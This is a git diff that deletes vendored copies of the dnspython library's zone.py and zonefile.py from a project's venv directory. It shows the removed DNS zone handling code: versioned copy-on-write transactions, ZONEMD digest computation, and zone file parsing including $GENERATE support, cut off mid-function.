origin=self.origin, # pyright: ignore - relativize=relativize, # pyright: ignore - want_comments=want_comments, # pyright: ignore - ) - l_b = l.encode(file_enc) - - try: - f.write(l_b) - f.write(nl_b) - except TypeError: # textual mode - f.write(l) - f.write(nl) - - def to_text( - self, - sorted: bool = True, - relativize: bool = True, - nl: str | None = None, - want_comments: bool = False, - want_origin: bool = False, - ) -> str: - """Return a zone's text as though it were written to a file. - - *sorted*, a ``bool``. If True, the default, then the file - will be written with the names sorted in DNSSEC order from - least to greatest. Otherwise the names will be written in - whatever order they happen to have in the zone's dictionary. - - *relativize*, a ``bool``. If True, the default, then domain - names in the output will be relativized to the zone's origin - if possible. - - *nl*, a ``str`` or None. The end of line string. If not - ``None``, the output will use the platform's native - end-of-line marker (i.e. LF on POSIX, CRLF on Windows). - - *want_comments*, a ``bool``. If ``True``, emit end-of-line comments - as part of writing the file. If ``False``, the default, do not - emit them. - - *want_origin*, a ``bool``. If ``True``, emit a $ORIGIN line at - the start of the output. If ``False``, the default, do not emit - one. - - Returns a ``str``. - """ - temp_buffer = io.StringIO() - self.to_file(temp_buffer, sorted, relativize, nl, want_comments, want_origin) - return_value = temp_buffer.getvalue() - temp_buffer.close() - return return_value - - def check_origin(self) -> None: - """Do some simple checking of the zone's origin. - - Raises ``dns.zone.NoSOA`` if there is no SOA RRset. - - Raises ``dns.zone.NoNS`` if there is no NS RRset. - - Raises ``KeyError`` if there is no origin node. - """ - if self.relativize: - name = dns.name.empty - else: - assert self.origin is not None - name = self.origin - if self.get_rdataset(name, dns.rdatatype.SOA) is None: - raise NoSOA - if self.get_rdataset(name, dns.rdatatype.NS) is None: - raise NoNS - - def get_soa( - self, txn: dns.transaction.Transaction | None = None - ) -> dns.rdtypes.ANY.SOA.SOA: - """Get the zone SOA rdata. - - Raises ``dns.zone.NoSOA`` if there is no SOA RRset. - - Returns a ``dns.rdtypes.ANY.SOA.SOA`` Rdata. - """ - if self.relativize: - origin_name = dns.name.empty - else: - if self.origin is None: - # get_soa() has been called very early, and there must not be - # an SOA if there is no origin. - raise NoSOA - origin_name = self.origin - soa_rds: dns.rdataset.Rdataset | None - if txn: - soa_rds = txn.get(origin_name, dns.rdatatype.SOA) - else: - soa_rds = self.get_rdataset(origin_name, dns.rdatatype.SOA) - if soa_rds is None: - raise NoSOA - else: - soa = cast(dns.rdtypes.ANY.SOA.SOA, soa_rds[0]) - return soa - - def _compute_digest( - self, - hash_algorithm: DigestHashAlgorithm, - scheme: DigestScheme = DigestScheme.SIMPLE, - ) -> bytes: - hashinfo = _digest_hashers.get(hash_algorithm) - if not hashinfo: - raise UnsupportedDigestHashAlgorithm - if scheme != DigestScheme.SIMPLE: - raise UnsupportedDigestScheme - - if self.relativize: - origin_name = dns.name.empty - else: - assert self.origin is not None - origin_name = self.origin - hasher = hashinfo() - for name, node in sorted(self.items()): - rrnamebuf = name.to_digestable(self.origin) - for rdataset in sorted(node, key=lambda rds: (rds.rdtype, rds.covers)): - if name == origin_name and dns.rdatatype.ZONEMD in ( - rdataset.rdtype, - rdataset.covers, - ): - continue - rrfixed = struct.pack( - "!HHI", rdataset.rdtype, rdataset.rdclass, rdataset.ttl - ) - rdatas = [rdata.to_digestable(self.origin) for rdata in rdataset] - for rdata in sorted(rdatas): - rrlen = struct.pack("!H", len(rdata)) - hasher.update(rrnamebuf + rrfixed + rrlen + rdata) - return hasher.digest() - - def compute_digest( - self, - hash_algorithm: DigestHashAlgorithm, - scheme: DigestScheme = DigestScheme.SIMPLE, - ) -> dns.rdtypes.ANY.ZONEMD.ZONEMD: - serial = self.get_soa().serial - digest = self._compute_digest(hash_algorithm, scheme) - return dns.rdtypes.ANY.ZONEMD.ZONEMD( - self.rdclass, dns.rdatatype.ZONEMD, serial, scheme, hash_algorithm, digest - ) - - def verify_digest( - self, zonemd: dns.rdtypes.ANY.ZONEMD.ZONEMD | None = None - ) -> None: - digests: dns.rdataset.Rdataset | List[dns.rdtypes.ANY.ZONEMD.ZONEMD] - if zonemd: - digests = [zonemd] - else: - assert self.origin is not None - rds = self.get_rdataset(self.origin, dns.rdatatype.ZONEMD) - if rds is None: - raise NoDigest - digests = rds - for digest in digests: - try: - computed = self._compute_digest(digest.hash_algorithm, digest.scheme) - if computed == digest.digest: - return - except Exception: - pass - raise DigestVerificationFailure - - # TransactionManager methods - - def reader(self) -> "Transaction": - return Transaction(self, False, Version(self, 1, self.nodes, self.origin)) - - def writer(self, replacement: bool = False) -> "Transaction": - txn = Transaction(self, replacement) - txn._setup_version() - return txn - - def origin_information( - self, - ) -> Tuple[dns.name.Name | None, bool, dns.name.Name | None]: - effective: dns.name.Name | None - if self.relativize: - effective = dns.name.empty - else: - effective = self.origin - return (self.origin, self.relativize, effective) - - def get_class(self): - return self.rdclass - - # Transaction methods - - def _end_read(self, txn): - pass - - def _end_write(self, txn): - pass - - def _commit_version(self, txn, version, origin): - self.nodes = version.nodes - if self.origin is None: - self.origin = origin - - def _get_next_version_id(self) -> int: - # Versions are ephemeral and all have id 1 - return 1 - - -# These classes used to be in dns.versioned, but have moved here so we can use -# the copy-on-write transaction mechanism for both kinds of zones. In a -# regular zone, the version only exists during the transaction, and the nodes -# are regular dns.node.Nodes. - -# A node with a version id. - - -class VersionedNode(dns.node.Node): # lgtm[py/missing-equals] - __slots__ = ["id"] - - def __init__(self): - super().__init__() - # A proper id will get set by the Version - self.id = 0 - - -@dns.immutable.immutable -class ImmutableVersionedNode(VersionedNode): - def __init__(self, node): - super().__init__() - self.id = node.id - self.rdatasets = tuple( - [dns.rdataset.ImmutableRdataset(rds) for rds in node.rdatasets] - ) - - def find_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset: - if create: - raise TypeError("immutable") - return super().find_rdataset(rdclass, rdtype, covers, False) - - def get_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset | None: - if create: - raise TypeError("immutable") - return super().get_rdataset(rdclass, rdtype, covers, False) - - def delete_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - ) -> None: - raise TypeError("immutable") - - def replace_rdataset(self, replacement: dns.rdataset.Rdataset) -> None: - raise TypeError("immutable") - - def is_immutable(self) -> bool: - return True - - -class Version: - def __init__( - self, - zone: Zone, - id: int, - nodes: MutableMapping[dns.name.Name, dns.node.Node] | None = None, - origin: dns.name.Name | None = None, - ): - self.zone = zone - self.id = id - if nodes is not None: - self.nodes = nodes - else: - self.nodes = zone.map_factory() - self.origin = origin - - def _validate_name(self, name: dns.name.Name) -> dns.name.Name: - return _validate_name(name, self.origin, self.zone.relativize) - - def get_node(self, name: dns.name.Name) -> dns.node.Node | None: - name = self._validate_name(name) - return self.nodes.get(name) - - def get_rdataset( - self, - name: dns.name.Name, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType, - ) -> dns.rdataset.Rdataset | None: - node = self.get_node(name) - if node is None: - return None - return node.get_rdataset(self.zone.rdclass, rdtype, covers) - - def keys(self): - return self.nodes.keys() - - def items(self): - return self.nodes.items() - - -class WritableVersion(Version): - def __init__(self, zone: Zone, replacement: bool = False): - # The zone._versions_lock must be held by our caller in a versioned - # zone. - id = zone._get_next_version_id() - super().__init__(zone, id) - if not replacement: - # We copy the map, because that gives us a simple and thread-safe - # way of doing versions, and we have a garbage collector to help - # us. We only make new node objects if we actually change the - # node. - self.nodes.update(zone.nodes) - # We have to copy the zone origin as it may be None in the first - # version, and we don't want to mutate the zone until we commit. - self.origin = zone.origin - self.changed: Set[dns.name.Name] = set() - - def _maybe_cow_with_name( - self, name: dns.name.Name - ) -> Tuple[dns.node.Node, dns.name.Name]: - name = self._validate_name(name) - node = self.nodes.get(name) - if node is None or name not in self.changed: - new_node = self.zone.node_factory() - if hasattr(new_node, "id"): - # We keep doing this for backwards compatibility, as earlier - # code used new_node.id != self.id for the "do we need to CoW?" - # test. Now we use the changed set as this works with both - # regular zones and versioned zones. - # - # We ignore the mypy error as this is safe but it doesn't see it. - new_node.id = self.id # type: ignore - if node is not None: - # moo! copy on write! - new_node.rdatasets.extend(node.rdatasets) - self.nodes[name] = new_node - self.changed.add(name) - return (new_node, name) - else: - return (node, name) - - def _maybe_cow(self, name: dns.name.Name) -> dns.node.Node: - return self._maybe_cow_with_name(name)[0] - - def delete_node(self, name: dns.name.Name) -> None: - name = self._validate_name(name) - if name in self.nodes: - del self.nodes[name] - self.changed.add(name) - - def put_rdataset( - self, name: dns.name.Name, rdataset: dns.rdataset.Rdataset - ) -> None: - node = self._maybe_cow(name) - node.replace_rdataset(rdataset) - - def delete_rdataset( - self, - name: dns.name.Name, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType, - ) -> None: - node = self._maybe_cow(name) - node.delete_rdataset(self.zone.rdclass, rdtype, covers) - if len(node) == 0: - del self.nodes[name] - - -@dns.immutable.immutable -class ImmutableVersion(Version): - def __init__(self, version: Version): - if not isinstance(version, WritableVersion): - raise ValueError( - "a dns.zone.ImmutableVersion requires a dns.zone.WritableVersion" - ) - # We tell super() that it's a replacement as we don't want it - # to copy the nodes, as we're about to do that with an - # immutable Dict. - super().__init__(version.zone, True) - # set the right id! - self.id = version.id - # keep the origin - self.origin = version.origin - # Make changed nodes immutable - for name in version.changed: - node = version.nodes.get(name) - # it might not exist if we deleted it in the version - if node: - version.nodes[name] = ImmutableVersionedNode(node) - # We're changing the type of the nodes dictionary here on purpose, so - # we ignore the mypy error. - self.nodes = dns.immutable.Dict( - version.nodes, True, self.zone.map_factory - ) # type: ignore - - -class Transaction(dns.transaction.Transaction): - def __init__(self, zone, replacement, version=None, make_immutable=False): - read_only = version is not None - super().__init__(zone, replacement, read_only) - self.version = version - self.make_immutable = make_immutable - - @property - def zone(self): - return self.manager - - def _setup_version(self): - assert self.version is None - factory = self.manager.writable_version_factory # pyright: ignore - if factory is None: - factory = WritableVersion - self.version = factory(self.zone, self.replacement) # pyright: ignore - - def _get_rdataset(self, name, rdtype, covers): - assert self.version is not None - return self.version.get_rdataset(name, rdtype, covers) - - def _put_rdataset(self, name, rdataset): - assert not self.read_only - assert self.version is not None - self.version.put_rdataset(name, rdataset) - - def _delete_name(self, name): - assert not self.read_only - assert self.version is not None - self.version.delete_node(name) - - def _delete_rdataset(self, name, rdtype, covers): - assert not self.read_only - assert self.version is not None - self.version.delete_rdataset(name, rdtype, covers) - - def _name_exists(self, name): - assert self.version is not None - return self.version.get_node(name) is not None - - def _changed(self): - if self.read_only: - return False - else: - assert self.version is not None - return len(self.version.changed) > 0 - - def _end_transaction(self, commit): - assert self.zone is not None - assert self.version is not None - if self.read_only: - self.zone._end_read(self) # pyright: ignore - elif commit and len(self.version.changed) > 0: - if self.make_immutable: - factory = self.manager.immutable_version_factory # pyright: ignore - if factory is None: - factory = ImmutableVersion - version = factory(self.version) - else: - version = self.version - self.zone._commit_version( # pyright: ignore - self, version, self.version.origin - ) - - else: - # rollback - self.zone._end_write(self) # pyright: ignore - - def _set_origin(self, origin): - assert self.version is not None - if self.version.origin is None: - self.version.origin = origin - - def _iterate_rdatasets(self): - assert self.version is not None - for name, node in self.version.items(): - for rdataset in node: - yield (name, rdataset) - - def _iterate_names(self): - assert self.version is not None - return self.version.keys() - - def _get_node(self, name): - assert self.version is not None - return self.version.get_node(name) - - def _origin_information(self): - assert self.version is not None - (absolute, relativize, effective) = self.manager.origin_information() - if absolute is None and self.version.origin is not None: - # No origin has been committed yet, but we've learned one as part of - # this txn. Use it. - absolute = self.version.origin - if relativize: - effective = dns.name.empty - else: - effective = absolute - return (absolute, relativize, effective) - - -def _from_text( - text: Any, - origin: dns.name.Name | str | None = None, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, - relativize: bool = True, - zone_factory: Any = Zone, - filename: str | None = None, - allow_include: bool = False, - check_origin: bool = True, - idna_codec: dns.name.IDNACodec | None = None, - allow_directives: bool | Iterable[str] = True, -) -> Zone: - # See the comments for the public APIs from_text() and from_file() for - # details. - - # 'text' can also be a file, but we don't publish that fact - # since it's an implementation detail. The official file - # interface is from_file(). - - if filename is None: - filename = "" - zone = zone_factory(origin, rdclass, relativize=relativize) - with zone.writer(True) as txn: - tok = dns.tokenizer.Tokenizer(text, filename, idna_codec=idna_codec) - reader = dns.zonefile.Reader( - tok, - rdclass, - txn, - allow_include=allow_include, - allow_directives=allow_directives, - ) - try: - reader.read() - except dns.zonefile.UnknownOrigin: - # for backwards compatibility - raise UnknownOrigin - # Now that we're done reading, do some basic checking of the zone. - if check_origin: - zone.check_origin() - return zone - - -def from_text( - text: str, - origin: dns.name.Name | str | None = None, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, - relativize: bool = True, - zone_factory: Any = Zone, - filename: str | None = None, - allow_include: bool = False, - check_origin: bool = True, - idna_codec: dns.name.IDNACodec | None = None, - allow_directives: bool | Iterable[str] = True, -) -> Zone: - """Build a zone object from a zone file format string. - - *text*, a ``str``, the zone file format input. - - *origin*, a ``dns.name.Name``, a ``str``, or ``None``. The origin - of the zone; if not specified, the first ``$ORIGIN`` statement in the - zone file will determine the origin of the zone. - - *rdclass*, a ``dns.rdataclass.RdataClass``, the zone's rdata class; the default is - class IN. - - *relativize*, a ``bool``, determine's whether domain names are - relativized to the zone's origin. The default is ``True``. - - *zone_factory*, the zone factory to use or ``None``. If ``None``, then - ``dns.zone.Zone`` will be used. The value may be any class or callable - that returns a subclass of ``dns.zone.Zone``. - - *filename*, a ``str`` or ``None``, the filename to emit when - describing where an error occurred; the default is ``''``. - - *allow_include*, a ``bool``. If ``True``, the default, then ``$INCLUDE`` - directives are permitted. If ``False``, then encoutering a ``$INCLUDE`` - will raise a ``SyntaxError`` exception. - - *check_origin*, a ``bool``. If ``True``, the default, then sanity - checks of the origin node will be made by calling the zone's - ``check_origin()`` method. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. - - *allow_directives*, a ``bool`` or an iterable of `str`. If ``True``, the default, - then directives are permitted, and the *allow_include* parameter controls whether - ``$INCLUDE`` is permitted. If ``False`` or an empty iterable, then no directive - processing is done and any directive-like text will be treated as a regular owner - name. If a non-empty iterable, then only the listed directives (including the - ``$``) are allowed. - - Raises ``dns.zone.NoSOA`` if there is no SOA RRset. - - Raises ``dns.zone.NoNS`` if there is no NS RRset. - - Raises ``KeyError`` if there is no origin node. - - Returns a subclass of ``dns.zone.Zone``. - """ - return _from_text( - text, - origin, - rdclass, - relativize, - zone_factory, - filename, - allow_include, - check_origin, - idna_codec, - allow_directives, - ) - - -def from_file( - f: Any, - origin: dns.name.Name | str | None = None, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, - relativize: bool = True, - zone_factory: Any = Zone, - filename: str | None = None, - allow_include: bool = True, - check_origin: bool = True, - idna_codec: dns.name.IDNACodec | None = None, - allow_directives: bool | Iterable[str] = True, -) -> Zone: - """Read a zone file and build a zone object. - - *f*, a file or ``str``. If *f* is a string, it is treated - as the name of a file to open. - - *origin*, a ``dns.name.Name``, a ``str``, or ``None``. The origin - of the zone; if not specified, the first ``$ORIGIN`` statement in the - zone file will determine the origin of the zone. - - *rdclass*, an ``int``, the zone's rdata class; the default is class IN. - - *relativize*, a ``bool``, determine's whether domain names are - relativized to the zone's origin. The default is ``True``. - - *zone_factory*, the zone factory to use or ``None``. If ``None``, then - ``dns.zone.Zone`` will be used. The value may be any class or callable - that returns a subclass of ``dns.zone.Zone``. - - *filename*, a ``str`` or ``None``, the filename to emit when - describing where an error occurred; the default is ``''``. - - *allow_include*, a ``bool``. If ``True``, the default, then ``$INCLUDE`` - directives are permitted. If ``False``, then encoutering a ``$INCLUDE`` - will raise a ``SyntaxError`` exception. - - *check_origin*, a ``bool``. If ``True``, the default, then sanity - checks of the origin node will be made by calling the zone's - ``check_origin()`` method. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. - - *allow_directives*, a ``bool`` or an iterable of `str`. If ``True``, the default, - then directives are permitted, and the *allow_include* parameter controls whether - ``$INCLUDE`` is permitted. If ``False`` or an empty iterable, then no directive - processing is done and any directive-like text will be treated as a regular owner - name. If a non-empty iterable, then only the listed directives (including the - ``$``) are allowed. - - Raises ``dns.zone.NoSOA`` if there is no SOA RRset. - - Raises ``dns.zone.NoNS`` if there is no NS RRset. - - Raises ``KeyError`` if there is no origin node. - - Returns a subclass of ``dns.zone.Zone``. - """ - - if isinstance(f, str): - if filename is None: - filename = f - cm: contextlib.AbstractContextManager = open(f, encoding="utf-8") - else: - cm = contextlib.nullcontext(f) - with cm as f: - return _from_text( - f, - origin, - rdclass, - relativize, - zone_factory, - filename, - allow_include, - check_origin, - idna_codec, - allow_directives, - ) - assert False # make mypy happy lgtm[py/unreachable-statement] - - -def from_xfr( - xfr: Any, - zone_factory: Any = Zone, - relativize: bool = True, - check_origin: bool = True, -) -> Zone: - """Convert the output of a zone transfer generator into a zone object. - - *xfr*, a generator of ``dns.message.Message`` objects, typically - ``dns.query.xfr()``. - - *relativize*, a ``bool``, determine's whether domain names are - relativized to the zone's origin. The default is ``True``. - It is essential that the relativize setting matches the one specified - to the generator. - - *check_origin*, a ``bool``. If ``True``, the default, then sanity - checks of the origin node will be made by calling the zone's - ``check_origin()`` method. - - Raises ``dns.zone.NoSOA`` if there is no SOA RRset. - - Raises ``dns.zone.NoNS`` if there is no NS RRset. - - Raises ``KeyError`` if there is no origin node. - - Raises ``ValueError`` if no messages are yielded by the generator. - - Returns a subclass of ``dns.zone.Zone``. - """ - - z = None - for r in xfr: - if z is None: - if relativize: - origin = r.origin - else: - origin = r.answer[0].name - rdclass = r.answer[0].rdclass - z = zone_factory(origin, rdclass, relativize=relativize) - for rrset in r.answer: - znode = z.nodes.get(rrset.name) - if not znode: - znode = z.node_factory() - z.nodes[rrset.name] = znode - zrds = znode.find_rdataset(rrset.rdclass, rrset.rdtype, rrset.covers, True) - zrds.update_ttl(rrset.ttl) - for rd in rrset: - zrds.add(rd) - if z is None: - raise ValueError("empty transfer") - if check_origin: - z.check_origin() - return z diff --git a/venv/Lib/site-packages/dns/zonefile.py b/venv/Lib/site-packages/dns/zonefile.py deleted file mode 100644 index 7a81454b68bf44ea446f6ddcb1f0b65c6233131a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/zonefile.py +++ /dev/null @@ -1,756 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Zones.""" - -import re -import sys -from typing import Any, Iterable, List, Set, Tuple, cast - -import dns.exception -import dns.grange -import dns.name -import dns.node -import dns.rdata -import dns.rdataclass -import dns.rdatatype -import dns.rdtypes.ANY.SOA -import dns.rrset -import dns.tokenizer -import dns.transaction -import dns.ttl - - -class UnknownOrigin(dns.exception.DNSException): - """Unknown origin""" - - -class CNAMEAndOtherData(dns.exception.DNSException): - """A node has a CNAME and other data""" - - -def _check_cname_and_other_data(txn, name, rdataset): - rdataset_kind = dns.node.NodeKind.classify_rdataset(rdataset) - node = txn.get_node(name) - if node is None: - # empty nodes are neutral. - return - node_kind = node.classify() - if ( - node_kind == dns.node.NodeKind.CNAME - and rdataset_kind == dns.node.NodeKind.REGULAR - ): - raise CNAMEAndOtherData("rdataset type is not compatible with a CNAME node") - elif ( - node_kind == dns.node.NodeKind.REGULAR - and rdataset_kind == dns.node.NodeKind.CNAME - ): - raise CNAMEAndOtherData( - "CNAME rdataset is not compatible with a regular data node" - ) - # Otherwise at least one of the node and the rdataset is neutral, so - # adding the rdataset is ok - - -SavedStateType = Tuple[ - dns.tokenizer.Tokenizer, - dns.name.Name | None, # current_origin - dns.name.Name | None, # last_name - Any | None, # current_file - int, # last_ttl - bool, # last_ttl_known - int, # default_ttl - bool, -] # default_ttl_known - - -def _upper_dollarize(s): - s = s.upper() - if not s.startswith("$"): - s = "$" + s - return s - - -class Reader: - """Read a DNS zone file into a transaction.""" - - def __init__( - self, - tok: dns.tokenizer.Tokenizer, - rdclass: dns.rdataclass.RdataClass, - txn: dns.transaction.Transaction, - allow_include: bool = False, - allow_directives: bool | Iterable[str] = True, - force_name: dns.name.Name | None = None, - force_ttl: int | None = None, - force_rdclass: dns.rdataclass.RdataClass | None = None, - force_rdtype: dns.rdatatype.RdataType | None = None, - default_ttl: int | None = None, - ): - self.tok = tok - (self.zone_origin, self.relativize, _) = txn.manager.origin_information() - self.current_origin = self.zone_origin - self.last_ttl = 0 - self.last_ttl_known = False - if force_ttl is not None: - default_ttl = force_ttl - if default_ttl is None: - self.default_ttl = 0 - self.default_ttl_known = False - else: - self.default_ttl = default_ttl - self.default_ttl_known = True - self.last_name = self.current_origin - self.zone_rdclass = rdclass - self.txn = txn - self.saved_state: List[SavedStateType] = [] - self.current_file: Any | None = None - self.allowed_directives: Set[str] - if allow_directives is True: - self.allowed_directives = {"$GENERATE", "$ORIGIN", "$TTL"} - if allow_include: - self.allowed_directives.add("$INCLUDE") - elif allow_directives is False: - # allow_include was ignored in earlier releases if allow_directives was - # False, so we continue that. - self.allowed_directives = set() - else: - # Note that if directives are explicitly specified, then allow_include - # is ignored. - self.allowed_directives = set(_upper_dollarize(d) for d in allow_directives) - self.force_name = force_name - self.force_ttl = force_ttl - self.force_rdclass = force_rdclass - self.force_rdtype = force_rdtype - self.txn.check_put_rdataset(_check_cname_and_other_data) - - def _eat_line(self): - while 1: - token = self.tok.get() - if token.is_eol_or_eof(): - break - - def _get_identifier(self): - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - return token - - def _rr_line(self): - """Process one line from a DNS zone file.""" - token = None - # Name - if self.force_name is not None: - name = self.force_name - else: - if self.current_origin is None: - raise UnknownOrigin - token = self.tok.get(want_leading=True) - if not token.is_whitespace(): - self.last_name = self.tok.as_name(token, self.current_origin) - else: - token = self.tok.get() - if token.is_eol_or_eof(): - # treat leading WS followed by EOL/EOF as if they were EOL/EOF. - return - self.tok.unget(token) - name = self.last_name - if name is None: - raise dns.exception.SyntaxError("the last used name is undefined") - assert self.zone_origin is not None - if not name.is_subdomain(self.zone_origin): - self._eat_line() - return - if self.relativize: - name = name.relativize(self.zone_origin) - - # TTL - if self.force_ttl is not None: - ttl = self.force_ttl - self.last_ttl = ttl - self.last_ttl_known = True - else: - token = self._get_identifier() - ttl = None - try: - ttl = dns.ttl.from_text(token.value) - self.last_ttl = ttl - self.last_ttl_known = True - token = None - except dns.ttl.BadTTL: - self.tok.unget(token) - - # Class - if self.force_rdclass is not None: - rdclass = self.force_rdclass - else: - token = self._get_identifier() - try: - rdclass = dns.rdataclass.from_text(token.value) - except dns.exception.SyntaxError: - raise - except Exception: - rdclass = self.zone_rdclass - self.tok.unget(token) - if rdclass != self.zone_rdclass: - raise dns.exception.SyntaxError("RR class is not zone's class") - - if ttl is None: - # support for syntax - token = self._get_identifier() - ttl = None - try: - ttl = dns.ttl.from_text(token.value) - self.last_ttl = ttl - self.last_ttl_known = True - token = None - except dns.ttl.BadTTL: - if self.default_ttl_known: - ttl = self.default_ttl - elif self.last_ttl_known: - ttl = self.last_ttl - self.tok.unget(token) - - # Type - if self.force_rdtype is not None: - rdtype = self.force_rdtype - else: - token = self._get_identifier() - try: - rdtype = dns.rdatatype.from_text(token.value) - except Exception: - raise dns.exception.SyntaxError(f"unknown rdatatype '{token.value}'") - - try: - rd = dns.rdata.from_text( - rdclass, - rdtype, - self.tok, - self.current_origin, - self.relativize, - self.zone_origin, - ) - except dns.exception.SyntaxError: - # Catch and reraise. - raise - except Exception: - # All exceptions that occur in the processing of rdata - # are treated as syntax errors. This is not strictly - # correct, but it is correct almost all of the time. - # We convert them to syntax errors so that we can emit - # helpful filename:line info. - (ty, va) = sys.exc_info()[:2] - raise dns.exception.SyntaxError(f"caught exception {str(ty)}: {str(va)}") - - if not self.default_ttl_known and rdtype == dns.rdatatype.SOA: - # The pre-RFC2308 and pre-BIND9 behavior inherits the zone default - # TTL from the SOA minttl if no $TTL statement is present before the - # SOA is parsed. - soa_rd = cast(dns.rdtypes.ANY.SOA.SOA, rd) - self.default_ttl = soa_rd.minimum - self.default_ttl_known = True - if ttl is None: - # if we didn't have a TTL on the SOA, set it! - ttl = soa_rd.minimum - - # TTL check. We had to wait until now to do this as the SOA RR's - # own TTL can be inferred from its minimum. - if ttl is None: - raise dns.exception.SyntaxError("Missing default TTL value") - - self.txn.add(name, ttl, rd) - - def _parse_modify(self, side: str) -> Tuple[str, str, int, int, str]: - # Here we catch everything in '{' '}' in a group so we can replace it - # with ''. - is_generate1 = re.compile(r"^.*\$({(\+|-?)(\d+),(\d+),(.)}).*$") - is_generate2 = re.compile(r"^.*\$({(\+|-?)(\d+)}).*$") - is_generate3 = re.compile(r"^.*\$({(\+|-?)(\d+),(\d+)}).*$") - # Sometimes there are modifiers in the hostname. These come after - # the dollar sign. They are in the form: ${offset[,width[,base]]}. - # Make names - mod = "" - sign = "+" - offset = "0" - width = "0" - base = "d" - g1 = is_generate1.match(side) - if g1: - mod, sign, offset, width, base = g1.groups() - if sign == "": - sign = "+" - else: - g2 = is_generate2.match(side) - if g2: - mod, sign, offset = g2.groups() - if sign == "": - sign = "+" - width = "0" - base = "d" - else: - g3 = is_generate3.match(side) - if g3: - mod, sign, offset, width = g3.groups() - if sign == "": - sign = "+" - base = "d" - - ioffset = int(offset) - iwidth = int(width) - - if sign not in ["+", "-"]: - raise dns.exception.SyntaxError(f"invalid offset sign {sign}") - if base not in ["d", "o", "x", "X", "n", "N"]: - raise dns.exception.SyntaxError(f"invalid type {base}") - - return mod, sign, ioffset, iwidth, base - - def _generate_line(self): - # range lhs [ttl] [class] type rhs [ comment ] - """Process one line containing the GENERATE statement from a DNS - zone file.""" - if self.current_origin is None: - raise UnknownOrigin - - token = self.tok.get() - # Range (required) - try: - start, stop, step = dns.grange.from_text(token.value) - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - except Exception: - raise dns.exception.SyntaxError - - # lhs (required) - try: - lhs = token.value - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - except Exception: - raise dns.exception.SyntaxError - - # TTL - try: - ttl = dns.ttl.from_text(token.value) - self.last_ttl = ttl - self.last_ttl_known = True - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - except dns.ttl.BadTTL: - if not (self.last_ttl_known or self.default_ttl_known): - raise dns.exception.SyntaxError("Missing default TTL value") - if self.default_ttl_known: - ttl = self.default_ttl - elif self.last_ttl_known: - ttl = self.last_ttl - else: - # We don't go to the extra "look at the SOA" level of effort for - # $GENERATE, because the user really ought to have defined a TTL - # somehow! - raise dns.exception.SyntaxError("Missing default TTL value") - - # Class - try: - rdclass = dns.rdataclass.from_text(token.value) - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - except dns.exception.SyntaxError: - raise dns.exception.SyntaxError - except Exception: - rdclass = self.zone_rdclass - if rdclass != self.zone_rdclass: - raise dns.exception.SyntaxError("RR class is not zone's class") - # Type - try: - rdtype = dns.rdatatype.from_text(token.value) - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - except Exception: - raise dns.exception.SyntaxError(f"unknown rdatatype '{token.value}'") - - # rhs (required) - rhs = token.value - - def _calculate_index(counter: int, offset_sign: str, offset: int) -> int: - """Calculate the index from the counter and offset.""" - if offset_sign == "-": - offset *= -1 - return counter + offset - - def _format_index(index: int, base: str, width: int) -> str: - """Format the index with the given base, and zero-fill it - to the given width.""" - if base in ["d", "o", "x", "X"]: - return format(index, base).zfill(width) - - # base can only be n or N here - hexa = _format_index(index, "x", width) - nibbles = ".".join(hexa[::-1])[:width] - if base == "N": - nibbles = nibbles.upper() - return nibbles - - lmod, lsign, loffset, lwidth, lbase = self._parse_modify(lhs) - rmod, rsign, roffset, rwidth, rbase = self._parse_modify(rhs) - for i in range(start, stop + 1, step): - # +1 because bind is inclusive and python is exclusive - - lindex = _calculate_index(i, lsign, loffset) - rindex = _calculate_index(i, rsign, roffset) - - lzfindex = _format_index(lindex, lbase, lwidth) - rzfindex = _format_index(rindex, rbase, rwidth) - - name = lhs.replace(f"${lmod}", lzfindex) - rdata = rhs.replace(f"${rmod}", rzfindex) - - self.last_name = dns.name.from_text( - name, self.current_origin, self.tok.idna_codec - ) - name = self.last_name - assert self.zone_origin is not None - if not name.is_subdomain(self.zone_origin): - self._eat_line() - return - if self.relativize: - name = 